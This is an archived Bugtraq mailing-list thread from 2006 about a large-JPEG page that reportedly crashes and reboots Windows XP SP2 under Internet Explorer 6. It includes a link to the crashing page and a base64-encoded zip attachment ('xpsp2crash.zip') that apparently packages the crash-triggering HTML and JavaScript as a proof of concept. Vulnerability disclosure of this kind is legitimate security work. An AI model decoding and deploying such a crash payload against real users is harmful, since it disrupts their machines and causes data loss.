[41969] in bugtraq

home help back first fref pref prev next nref lref last post

RE: Dumb IE6/XP denial of service found on the web

daemon@ATHENA.MIT.EDU (Mario Contestabile)
Thu Jan 5 19:45:13 2006

Date: Thu, 05 Jan 2006 09:13:46 -0500
From: Mario Contestabile <marioc@computer.org>
In-reply-to: <20051231181312.22557.qmail@securityfocus.com>
To: 8ux1fpd02@sneakemail.com, bugtraq@securityfocus.com
Message-id: <000001c61202$3e1cfec0$a600100a@zks.com>
MIME-version: 1.0
Content-type: multipart/mixed; boundary="Boundary_(ID_n0XQ11DytHkGTh4t1kqbjw)"

This is a multi-part message in MIME format.

--Boundary_(ID_n0XQ11DytHkGTh4t1kqbjw)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT

Nice, seems to crash the intel graphics controller.

Here's a zip for your perusal.



Mario Contestabile
Developer , RadialPoint
marioc@computer.org
Profile: https://www.linkedin.com/e/fps/3704298/ 

-----Original Message-----
From: 8ux1fpd02@sneakemail.com [mailto:8ux1fpd02@sneakemail.com] 
Sent: December 31, 2005 1:13 PM
To: bugtraq@securityfocus.com
Subject: Dumb IE6/XP denial of service found on the web

Wow, a simple big jpeg completely crashes (and reboots) Windows XP SP2 with
all the latest patches when viewed in IE6.

-> DON'T GO with Internet Explorer if you don't want to crash:
http://www.geocities.com/teh_kids/index.html (no problems whatsoever in
Firefox or Opera).

Is this a known unpatched vulnerability?

--Boundary_(ID_n0XQ11DytHkGTh4t1kqbjw)
Content-type: application/x-zip-compressed; name=xpsp2crash.zip
Content-transfer-encoding: base64
Content-disposition: attachment; filename=xpsp2crash.zip

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

--Boundary_(ID_n0XQ11DytHkGTh4t1kqbjw)--

home help back first fref pref prev next nref lref last post